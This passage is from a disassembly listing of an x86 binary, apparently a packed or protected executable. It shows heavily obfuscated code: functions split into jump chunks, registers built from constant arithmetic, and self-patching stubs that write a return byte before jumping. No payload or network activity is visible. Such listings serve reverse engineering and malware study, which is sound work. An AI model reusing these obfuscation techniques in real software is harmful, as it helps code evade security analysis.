		jmp	sub_44CEFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_459EEB:				; CODE XREF: sub_43FDFB+1A67Cj
		sub	ecx, ds:4000F5h
		cmp	ecx, 0F085BD01h
		jmp	loc_43BD05
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------

loc_459EFC:				; DATA XREF: sub_4492F0-5341o
		xor	edx, 1F59B2ACh
		call	sub_449EB7
		push	eax
		jmp	loc_4560EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446CFB

loc_459F0D:				; CODE XREF: sub_446CFBj
		push	offset sub_44A30D
		jmp	loc_442F17
; END OF FUNCTION CHUNK	FOR sub_446CFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_459F17:				; CODE XREF: sub_44B2EA-D6DCj
		jz	loc_454D4A
		jmp	loc_4413E7
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457C14

loc_459F22:				; CODE XREF: sub_457C14:loc_43912Fj
		xor	ebx, 64907B72h

loc_459F28:				; CODE XREF: dviuq5id:0044B0BAj
		and	ebx, 5307D4E0h
; END OF FUNCTION CHUNK	FOR sub_457C14
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_459F2E:				; CODE XREF: sub_44B624:loc_4496C0j
		add	ebx, 0FF4073F3h
		xchg	ebx, [esp-8+arg_4]
		jmp	loc_449DC4
; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------
		jnz	loc_448603
		xchg	ecx, [ebx]
		jmp	sub_442994
; ---------------------------------------------------------------------------
		popf
		jmp	sub_455C2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439AA6

loc_459F4F:				; CODE XREF: sub_439AA6+10EF7j
		or	ebx, 0D3C115EFh
		adc	edi, ebx
		adc	ebp, ecx

loc_459F59:				; CODE XREF: sub_439AA6:loc_44A995j
					; dviuq5id:loc_45117Aj
		xor	eax, 8DB3C2ADh
		jmp	loc_44D660
; END OF FUNCTION CHUNK	FOR sub_439AA6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_459F64	proc near		; CODE XREF: sub_43CCD1j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439FDD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004444E4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00452897 SIZE 00000005 BYTES

		push	ebx
		mov	ebx, ebp
		xchg	ebx, [esp+0]
		mov	ebp, esp
		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+4+var_4]
		mov	[ebp+var_4], eax
		jmp	loc_452897
sub_459F64	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446181

loc_459F7A:				; CODE XREF: sub_446181:loc_451D99j
		push	edi
		push	62B48B9Eh
		pop	edi
		or	edi, 242741F5h
		rol	edi, 1Dh
		add	edi, 136E30D2h
		xchg	edi, [esp+8+var_8]
		jmp	loc_457DB4
; END OF FUNCTION CHUNK	FOR sub_446181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442503

loc_459F98:				; CODE XREF: sub_442503:loc_43CA25j
		add	eax, ebx
		jmp	loc_458170
; END OF FUNCTION CHUNK	FOR sub_442503
; ---------------------------------------------------------------------------
		xor	edi, 0ECC9842Dh
		jmp	sub_43E343
; ---------------------------------------------------------------------------
		mov	eax, 0EFFDE014h
		call	sub_44A58C
		mov	ds:off_41D020, eax
		lea	eax, sub_44395C
		mov	byte ptr [eax],	0C3h
		jmp	sub_44395C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_459FC8:				; CODE XREF: sub_440898:loc_43C645j
					; dviuq5id:0043C65Cj
		add	eax, 1B8FB0E1h
		add	eax, ebp
		add	eax, 0BFD7E25Fh
		push	ebx
		mov	ebx, eax
		jmp	loc_44FAEC
; END OF FUNCTION CHUNK	FOR sub_440898

; =============== S U B	R O U T	I N E =======================================



sub_459FDE	proc near		; DATA XREF: sub_450DC5:loc_44F2D0o

arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_C]
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_44972F
		call	sub_44093D
sub_459FDE	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_454228

loc_459FF3:				; CODE XREF: sub_454228-19573j
		jmp	loc_446C73
; END OF FUNCTION CHUNK	FOR sub_454228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443222

loc_459FF8:				; CODE XREF: sub_443222+Ej
		jnz	loc_43F739
		jmp	loc_43C0C3
; END OF FUNCTION CHUNK	FOR sub_443222

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_45A003	proc near		; CODE XREF: dviuq5id:00439BEEj
					; dviuq5id:loc_441859p
		xchg	ebx, [esp+0]
		pop	ebx
		lea	eax, [ebp-25Ch]
		push	(offset	loc_448CA0+1)
		jmp	sub_450015
sub_45A003	endp

; ---------------------------------------------------------------------------
		db 0E8h
		dd 0FFFEC889h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_45A01C:				; CODE XREF: sub_4492F0-1BE7j
		jmp	loc_4526D1
; END OF FUNCTION CHUNK	FOR sub_4492F0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_420. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_45A022:				; CODE XREF: sub_43938B+17154j
		jmp	loc_444972
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------

loc_45A027:				; CODE XREF: dviuq5id:00442676j
		jmp	locret_44E5B6
; ---------------------------------------------------------------------------

loc_45A02C:				; CODE XREF: dviuq5id:0043D145j
		ja	loc_43E4DF
		cmp	ebp, 0F624F17Bh
		jmp	loc_439B32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F0CA

loc_45A03D:				; CODE XREF: sub_44F0CA:loc_43B15Ej
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_44F0CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C03F

loc_45A041:				; CODE XREF: sub_43C03F+DBE6j
		jmp	loc_4499EC
; END OF FUNCTION CHUNK	FOR sub_43C03F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442605

loc_45A046:				; CODE XREF: sub_442605+Aj
					; sub_445707:loc_44557Ej
		jmp	loc_44B78B
; END OF FUNCTION CHUNK	FOR sub_442605

; =============== S U B	R O U T	I N E =======================================



sub_45A04B	proc near		; CODE XREF: sub_450905-1780Dp
					; sub_43EB11-5515p ...

; FUNCTION CHUNK AT 00454AA0 SIZE 00000005 BYTES

		push	offset sub_44FFE1
		jmp	loc_454AA0
sub_45A04B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AD42

loc_45A055:				; CODE XREF: sub_44AD42-4747j
		xchg	edi, [esp-4+arg_0]
		jmp	sub_451BB7
; END OF FUNCTION CHUNK	FOR sub_44AD42
; ---------------------------------------------------------------------------
		mov	eax, 524E554Eh
		call	sub_453642
		mov	ds:dword_41D058, eax
		lea	eax, nullsub_457
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_457
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459630

loc_45A07B:				; CODE XREF: sub_459630+4j
		mov	eax, [esp+0]
		jmp	loc_449B17
; END OF FUNCTION CHUNK	FOR sub_459630
; ---------------------------------------------------------------------------

loc_45A083:				; CODE XREF: dviuq5id:004450CEj
		test	ebp, esi
		jmp	loc_457440
; ---------------------------------------------------------------------------

loc_45A08A:				; CODE XREF: dviuq5id:loc_44DE8Dj
		xor	edi, 5BC2CC15h
		or	edi, 0D89D3C6h
		and	edi, 528BE0ADh
		cmp	edi, 0D80DF95Ah
		jmp	loc_4566D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E10E

loc_45A0A7:				; CODE XREF: sub_43E10E+17F89j
		mov	eax, [eax]
		mov	dx, [eax+2]
		mov	eax, [ebp-14h]
		call	sub_43C9A9
		jmp	loc_4451ED
; END OF FUNCTION CHUNK	FOR sub_43E10E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451E0A

loc_45A0BA:				; CODE XREF: sub_451E0A:loc_440354j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		jnb	loc_43BB9D
		sub	al, 99h
		jmp	loc_4557DB
; END OF FUNCTION CHUNK	FOR sub_451E0A

; =============== S U B	R O U T	I N E =======================================



sub_45A0CF	proc near		; DATA XREF: sub_45383B-11AC9o
		xchg	edx, [esp+0]
		jmp	loc_45850C
sub_45A0CF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4597EF

loc_45A0D7:				; CODE XREF: sub_4597EF:loc_44282Cj
		jz	loc_448408
		jmp	loc_458F6A
; END OF FUNCTION CHUNK	FOR sub_4597EF
; ---------------------------------------------------------------------------

locret_45A0E2:				; CODE XREF: dviuq5id:loc_439C82j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E99

loc_45A0E3:				; CODE XREF: sub_440E99:loc_446C1Fj
		jmp	loc_444069
; END OF FUNCTION CHUNK	FOR sub_440E99
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_59. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C592

loc_45A0E9:				; CODE XREF: sub_44C592-424j
		jmp	loc_44ABC0
; END OF FUNCTION CHUNK	FOR sub_44C592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446465

loc_45A0EE:				; CODE XREF: sub_446465+31DDj
		jmp	loc_44FE23
; END OF FUNCTION CHUNK	FOR sub_446465
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_45A0F3:				; CODE XREF: sub_4525D0-1900Aj
		jno	loc_43AB8B
		add	ebx, ebp

loc_45A0FB:				; CODE XREF: sub_4525D0:loc_44BAACj
		xor	eax, 4568DA36h
		add	eax, ebp
		add	eax, 53378D4Fh
; END OF FUNCTION CHUNK	FOR sub_4525D0
; START	OF FUNCTION CHUNK FOR sub_439013

loc_45A109:				; CODE XREF: sub_439013+1C7BDj
		push	offset sub_445B81
		jmp	nullsub_407
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422EC

loc_45A113:				; CODE XREF: dviuq5id:00455FCCj
					; sub_4422EC+1814Ej
		or	eax, eax
		jnz	loc_459339
		jmp	loc_4521B1
; END OF FUNCTION CHUNK	FOR sub_4422EC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_470. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4543C5

loc_45A121:				; CODE XREF: sub_4543C5-14C9Aj
		jmp	loc_444F45
; END OF FUNCTION CHUNK	FOR sub_4543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456B31

loc_45A126:				; CODE XREF: sub_456B31-17DFAj
		jmp	loc_4395FA
; END OF FUNCTION CHUNK	FOR sub_456B31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446004

loc_45A12B:				; CODE XREF: sub_446004+1147Dj
		or	esi, 0CCF3D2BDh
		test	esi, 80000h
		jmp	loc_4418F4
; END OF FUNCTION CHUNK	FOR sub_446004
; ---------------------------------------------------------------------------

loc_45A13C:				; CODE XREF: dviuq5id:loc_453D04j
		and	esi, ebp
		jl	loc_441648
		test	ebp, 34A1F522h
		jmp	loc_439F89
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A919

loc_45A14F:				; CODE XREF: sub_43A919+14A9Cj
		or	ecx, 0E37A6591h
		rol	ecx, 13h
		add	ecx, 0D3B55B07h
		xchg	ecx, [esp+0Ch+var_C]
		jmp	sub_453749
; END OF FUNCTION CHUNK	FOR sub_43A919
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_274. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446004

loc_45A167:				; CODE XREF: sub_446004+12151j
		jmp	loc_45746C
; END OF FUNCTION CHUNK	FOR sub_446004
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C4E2

loc_45A16C:				; CODE XREF: sub_44C4E2:loc_439ECFj
		mov	eax, 0D4280129h
		call	sub_44A58C
		push	esi
		push	8FD1A87Bh
		pop	esi
		xor	esi, 788F7DA6h
		jmp	loc_44E0F4
; END OF FUNCTION CHUNK	FOR sub_44C4E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C03F

loc_45A188:				; CODE XREF: sub_43C03F:loc_4506CDj
		pop	esi
		xor	esi, 0B9243176h
		add	esi, 97841342h
		xchg	esi, [esp+8+var_8]
		jmp	loc_452667
; END OF FUNCTION CHUNK	FOR sub_43C03F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_403. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BC0F

loc_45A19E:				; CODE XREF: sub_44BC0F+13j
		jmp	nullsub_336
; END OF FUNCTION CHUNK	FOR sub_44BC0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_45A1A3:				; CODE XREF: sub_44514D-45BBj
		jmp	nullsub_408
; END OF FUNCTION CHUNK	FOR sub_44514D

; =============== S U B	R O U T	I N E =======================================



sub_45A1A8	proc near		; CODE XREF: sub_4510E7:loc_43DDDAp
					; sub_440AB3+11p ...

; FUNCTION CHUNK AT 0044200D SIZE 00000005 BYTES

		jnb	sub_44A8E0
		push	ebp
		mov	ebp, esp
		jmp	loc_44200D
sub_45A1A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439EDE

loc_45A1B6:				; CODE XREF: sub_439EDE:loc_43A6B3j
		pop	edx
		add	edx, 210097D3h
		rol	edx, 6
		add	edx, 0ADC3A947h
		jmp	loc_452A96
; END OF FUNCTION CHUNK	FOR sub_439EDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450217

loc_45A1CB:				; CODE XREF: sub_450217:loc_43A32Dj
		pop	ebp
		mov	eax, ds:dword_43F094
		or	eax, eax
		jnz	loc_459380
		jmp	loc_453412
; END OF FUNCTION CHUNK	FOR sub_450217

; =============== S U B	R O U T	I N E =======================================



sub_45A1DF	proc near		; DATA XREF: sub_45345A-F0F1o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043FD2C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F3D5 SIZE 0000000E BYTES

		push	48C7419Dh
		xchg	esi, [esp+4+var_4]
		mov	ecx, esi
		pop	esi
		xor	ecx, 3574F6Ah
		or	ecx, 0C1BFBFAh

loc_45A1F6:				; CODE XREF: dviuq5id:loc_43B573j
		jmp	loc_44F3D5
sub_45A1DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_45A1FB	proc near		; CODE XREF: sub_452470-12956p
					; dviuq5id:00442DB0j

; FUNCTION CHUNK AT 0044FAF1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456DA0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00456F2D SIZE 0000000B BYTES

		xchg	eax, [esp+0]
		pop	eax
		movzx	eax, byte ptr [eax]
		add	[ebp-8], eax
		jmp	loc_456DA0
sub_45A1FB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_45A20A:				; CODE XREF: sub_439013+EFA6j
		not	ecx
		pop	eax
		jmp	loc_4557B7
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446CFB

loc_45A212:				; CODE XREF: sub_446CFB:loc_43FE65j
		xchg	esi, [esp+4+var_4]
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_43F06C
		jmp	loc_459151
; END OF FUNCTION CHUNK	FOR sub_446CFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F9EE

loc_45A226:				; CODE XREF: sub_44F9EE-9754j
		jle	loc_44A540
		xor	edx, 5D1B063Bh
; END OF FUNCTION CHUNK	FOR sub_44F9EE

; =============== S U B	R O U T	I N E =======================================



sub_45A232	proc near		; CODE XREF: sub_4440E9+2CA5p
		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [ebp-4]
		call	sub_4570A4
sub_45A232	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43F9E7

loc_45A23E:				; CODE XREF: sub_43F9E7+540Bj
		jmp	loc_4439DF
; END OF FUNCTION CHUNK	FOR sub_43F9E7
; ---------------------------------------------------------------------------

loc_45A243:				; DATA XREF: sub_451E99+11o
		xchg	esi, [esp]
		push	0CF96E943h
		pop	ebx
		and	ebx, 5F24860Ch
		cmp	ebx, 0EA549E31h
		jmp	loc_4599FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A397

loc_45A25D:				; CODE XREF: sub_45A397-3E00j
		jnz	loc_43E179
		jmp	loc_44D189
; END OF FUNCTION CHUNK	FOR sub_45A397
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4534AA

loc_45A268:				; CODE XREF: sub_4534AA:loc_43CB33j
		jnz	loc_4463F6
		jmp	loc_45828E
; END OF FUNCTION CHUNK	FOR sub_4534AA
; ---------------------------------------------------------------------------
		mov	edx, 1AE260E8h
		call	sub_449EB7
		push	eax

loc_45A27E:				; CODE XREF: dviuq5id:0043BCADj
		ror	eax, 6
		push	offset sub_45936F
; START	OF FUNCTION CHUNK FOR sub_452BBF

loc_45A286:				; CODE XREF: sub_452BBF:loc_446825j
		jmp	loc_43D3B2
; END OF FUNCTION CHUNK	FOR sub_452BBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_45A28B:				; CODE XREF: sub_44646F:loc_441FBDj
		sub	edi, 0FCB7FC9Ah
		and	edi, ds:4000F4h
		sub	edi, 0B367C39Fh
		rol	edi, 0Fh
		add	edi, 9F8B74C5h
		xchg	edi, [esp+0]
		jmp	loc_444A36
; END OF FUNCTION CHUNK	FOR sub_44646F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_187. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp]
		call	sub_4571A7
		mov	eax, 72B18749h
		push	esi
		jmp	loc_4576CC
; ---------------------------------------------------------------------------
		xchg	ebx, [esp]
		mov	eax, ebx
		pop	ebx
		xchg	ebp, [esp]
		mov	eax, ebp
		pop	ebp
; START	OF FUNCTION CHUNK FOR sub_45844D

loc_45A2D5:				; CODE XREF: sub_45844D:loc_457F01j
		jmp	loc_4480DC
; END OF FUNCTION CHUNK	FOR sub_45844D
; ---------------------------------------------------------------------------

loc_45A2DA:				; DATA XREF: sub_45609C-17444o
		add	eax, 61007452h
		mov	eax, [eax]
		push	ecx
		push	0F5143439h
		pop	ecx
		or	ecx, 7306C420h
		jmp	loc_450F71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_45A2F4:				; CODE XREF: sub_44B2EA-FFB1j
					; sub_44460F-8672j ...
		jmp	loc_450224
; ---------------------------------------------------------------------------

loc_45A2F9:				; CODE XREF: sub_44B2EA-EC3Ej
					; sub_44460F+E743j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C620

loc_45A2FC:				; CODE XREF: sub_44C620+Bj
		jmp	sub_44A829
; END OF FUNCTION CHUNK	FOR sub_44C620
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442772

loc_45A301:				; CODE XREF: sub_442772+3D68j
		jmp	nullsub_412
; END OF FUNCTION CHUNK	FOR sub_442772
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A59

loc_45A306:				; CODE XREF: sub_445A59-4139j
		jmp	sub_44E1C0
; END OF FUNCTION CHUNK	FOR sub_445A59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_45A30B:				; CODE XREF: sub_446682-6671j
		jmp	loc_447C00
; END OF FUNCTION CHUNK	FOR sub_446682

; =============== S U B	R O U T	I N E =======================================



sub_45A310	proc near		; CODE XREF: sub_445110-887Ep
					; sub_445260-75EEj ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C736 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443846 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00451FBB SIZE 00000017 BYTES

		push	esi
		mov	esi, ebp
		xchg	esi, [esp+4+var_4]
		jmp	loc_443846
sub_45A310	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_45A31B:				; CODE XREF: sub_451EEC-18841j
		jnz	loc_44B5E7

loc_45A321:				; CODE XREF: dviuq5id:004417A8j
		jmp	loc_44973F
; END OF FUNCTION CHUNK	FOR sub_451EEC
; ---------------------------------------------------------------------------
		xor	ebp, ecx
		xchg	edi, esi
		mov	ecx, esi
		xor	ebp, 4C1E44BEh
		jmp	loc_43AAEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4408FF

loc_45A337:				; CODE XREF: sub_4408FF:loc_4460EAj
		push	820CA6A7h
		and	edi, ebx
		jmp	loc_445CFE
; END OF FUNCTION CHUNK	FOR sub_4408FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442913

loc_45A343:				; CODE XREF: sub_442913+891j
		mov	edi, [edx]
		pushf
		push	ecx
		and	eax, edi

loc_45A349:				; CODE XREF: dviuq5id:loc_443197j
		add	ecx, 0E8CE047Ah
		or	ecx, 52DCB06Ah
		add	ecx, 0A96057EAh

loc_45A35B:				; CODE XREF: dviuq5id:loc_44149Aj
		jmp	loc_43A566
; END OF FUNCTION CHUNK	FOR sub_442913
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454142

loc_45A360:				; CODE XREF: sub_454142-B58Aj
		jz	loc_452033
		jmp	loc_454B28
; END OF FUNCTION CHUNK	FOR sub_454142
; ---------------------------------------------------------------------------
		jz	loc_442097
		jmp	sub_4584CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4A4

loc_45A376:				; CODE XREF: sub_43E4A4+10BEAj
		jbe	loc_44FC96
		not	edi
		popf

loc_45A37F:				; CODE XREF: sub_43E4A4:loc_4549ABj
		call	sub_456F43
		jmp	loc_43B841
; END OF FUNCTION CHUNK	FOR sub_43E4A4
; ---------------------------------------------------------------------------

loc_45A389:				; CODE XREF: dviuq5id:00440E4Aj
		rol	esi, 9
		test	esi, 80h
		jmp	loc_43D12E

; =============== S U B	R O U T	I N E =======================================



sub_45A397	proc near		; CODE XREF: sub_44797B+Fj

; FUNCTION CHUNK AT 00439B28 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B828 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043E171 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00449C0B SIZE 00000001 BYTES
; FUNCTION CHUNK AT 0044D189 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00456591 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045A25D SIZE 0000000B BYTES

		add	esp, 0FFFFFED0h
		mov	[ebp-0Ch], ecx
		mov	[ebp-6], dx
		mov	[ebp-4], eax
		xor	eax, eax
		mov	[ebp-10h], eax

loc_45A3AC:				; CODE XREF: dviuq5id:loc_43E662j
		cmp	dword ptr [ebp-4], 0
		jmp	loc_439B28
sub_45A397	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_45A3B5	proc near		; CODE XREF: sub_44D736:loc_455A08p
					; dviuq5id:00458554j

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		add	edi, (offset loc_451F84+3)
		xchg	edi, [esp-4+arg_0]
		jmp	loc_456A2C
sub_45A3B5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	ds:off_41D090
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450F99

loc_45A3CD:				; CODE XREF: sub_45799F:loc_439DEFj
					; sub_450F99:loc_44819Fj ...
		jnb	loc_4510A1
		push	offset loc_443798
		jmp	nullsub_414
; END OF FUNCTION CHUNK	FOR sub_450F99
; ---------------------------------------------------------------------------

loc_45A3DD:				; CODE XREF: dviuq5id:loc_4476BEj
		push	eax
		ror	eax, 16h
		mov	ds:dword_457D40, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453548

loc_45A3E8:				; CODE XREF: sub_453548-1186Bj
		jmp	loc_44609C
; END OF FUNCTION CHUNK	FOR sub_453548
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C592

loc_45A3ED:				; CODE XREF: sub_44C592-4291j
		jl	loc_454D96
		or	eax, edx
		add	ecx, ebx

loc_45A3F7:				; CODE XREF: sub_44C592:loc_4482F2j
					; sub_4422EC:loc_455EB0j
		add	eax, 0A11D145Eh
		push	esi
		jmp	loc_45798B
; END OF FUNCTION CHUNK	FOR sub_44C592
; ---------------------------------------------------------------------------
		adc	edi, 4B8DF607h
		mov	ebx, 0DD7E876Eh
		jmp	sub_44C441

; =============== S U B	R O U T	I N E =======================================



sub_45A413	proc near		; CODE XREF: sub_43BA0E+11CA6p
					; dviuq5id:0045229Aj

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		add	esi, 203D071Bh
		xchg	esi, [esp-4+arg_0]
		jmp	sub_453642
sub_45A413	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422EC

loc_45A425:				; CODE XREF: sub_4422EC+7C57j
		pop	edx

loc_45A426:				; CODE XREF: sub_4422EC:loc_449F37j
		xor	eax, 0B0A66975h
		or	eax, 3978596Ch
		add	eax, 84C5C537h
		mov	eax, [eax]
		jmp	loc_45A113
; END OF FUNCTION CHUNK	FOR sub_4422EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_45A43F:				; CODE XREF: sub_44846C:loc_44DD23j
		push	eax
		push	edi
		push	89259705h
		pop	edi
		rol	edi, 6
		sub	edi, 65EA65FDh
		add	edi, 7E8130F0h
		or	edi, 0AC0D85FDh
		jmp	loc_43E21E
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_45A461:				; CODE XREF: sub_43FDFB+AAF8j
					; sub_43FDFB:loc_451732j
		call	sub_456F43
		mov	edx, 0BE8CE1B7h
		call	sub_449EB7
		push	ecx
		push	784274A3h
		pop	ecx
		jmp	loc_459EEB
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------

loc_45A47C:				; CODE XREF: dviuq5id:0044E1ADj
		jl	loc_440954
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_45A482:				; CODE XREF: sub_43C9A9:loc_44F5BFj
		jmp	loc_452879
; END OF FUNCTION CHUNK	FOR sub_43C9A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4489AE

loc_45A487:				; CODE XREF: sub_4489AE-2B72j
		jmp	loc_439724
; END OF FUNCTION CHUNK	FOR sub_4489AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F697

loc_45A48C:				; CODE XREF: sub_44F697-11F7Ej
		jmp	loc_444545
; END OF FUNCTION CHUNK	FOR sub_44F697
; ---------------------------------------------------------------------------
		and	ecx, ebp
		push	5E2E33E1h
		jmp	loc_440954
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_45A49D:				; CODE XREF: sub_454267+47j
		jp	loc_44F029

loc_45A4A3:				; CODE XREF: sub_453BCF:loc_44FB76j
		push	0D1B45DC2h
		pop	ecx
		and	ecx, 15D1DC6h
		jmp	loc_453B0C
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------

loc_45A4B4:				; CODE XREF: dviuq5id:0045895Fj
		add	esi, edi

loc_45A4B6:				; CODE XREF: dviuq5id:loc_45894Ej
		add	ebx, 67ABDC50h
		mov	[ebx], eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447ECD

loc_45A4C0:				; CODE XREF: sub_447ECD+21C5j
					; dviuq5id:loc_44E6B4j
		rol	eax, 15h
		push	eax
		jmp	loc_45728F
; END OF FUNCTION CHUNK	FOR sub_447ECD

; =============== S U B	R O U T	I N E =======================================



sub_45A4C9	proc near		; DATA XREF: sub_441F76:loc_44ECFDo

; FUNCTION CHUNK AT 0043B3A9 SIZE 00000005 BYTES
